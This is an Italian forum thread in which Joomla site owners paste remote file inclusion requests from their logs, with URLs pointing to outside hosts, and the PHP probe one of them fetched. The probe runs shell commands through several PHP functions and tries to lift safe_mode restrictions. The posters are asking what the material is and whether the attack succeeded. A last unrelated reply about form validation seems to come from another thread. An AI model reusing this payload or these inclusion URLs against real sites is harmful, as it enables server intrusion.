@Nemesis_RM said:
Scusate ragazzi proprio in questo momento ho visto che è arrivata una visita su un mio sito Joomla con una roba del genere:
www . miosito.it/?mosConfig_absolute_path="h"t t p : // rise.dk/cache/id2.txt?
aperto il file ho trovato questo:
[php]
<?php
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
$contrs=0;
}
else{
ini_restore("safe_mode");
ini_restore("open_basedir");
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
$contrs=0;}
else{
$contrs=1;
}}
if($contrs == 0){
echo("FUCKSAFEMODEOFFBYMIC22");
}else{
echo("FUCKSAFEMODEONBYMIC22");
}
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;[/php]Cos'è secondo voi?
Ciao Nemesis_RM, premetto che non ho esperienza in materia di attacchi quindi vorrei capire meglio quel che ti è accaduto perchè accade la stessa cosa anche a me ed anche sotto altre forme del tipo:
/index.php?pag=f t p : // 80.50.253.90/upload/trop/old?
/index.php?pag=h t t p : // mifumisokuimsedfsisumsdoklop.mail15.su/image?
/index.php?option=com_content&amp;task=view&amp;id=19&amp;Itemid=34&lang=it&lang=en
/index.php?pag=h t t p : // www . wsteam.net/include.c?
/index.php?pag=h t t p : // amygirl.webs.io/pb.php?
/index.php?pag=h t t p : // hotaebywk.chat.ru/html/body?
Quando dici: " aperto il file ho trovato questo:" intendi dire che sei andato all'URL h t t p : // rise.dk/cache/id2.txt? ed il browser ti ha mostrato quel codice? oppure hai trovato il file nelle cartelle del tuo sito? Perchè se così fosse significa che l'attacco è riuscito. Potresti aiutarmi a capire?:?
Grazie ciao.


ma anche io sono interessato all'argomento. Dunque il componente mi sembra molto interessante tuttavia guardando i tutorial disponibili sul sito ho l'impressione che la parte dedicata alla validazione dei form sia stata volutamente trascurata. Inoltre non volendo accontentarsi di una semplice validazione javascript, come ci si deve muovere? GloboGsm tu hai già potuto sperimentare una validazione più solida? Se si come hai risolto?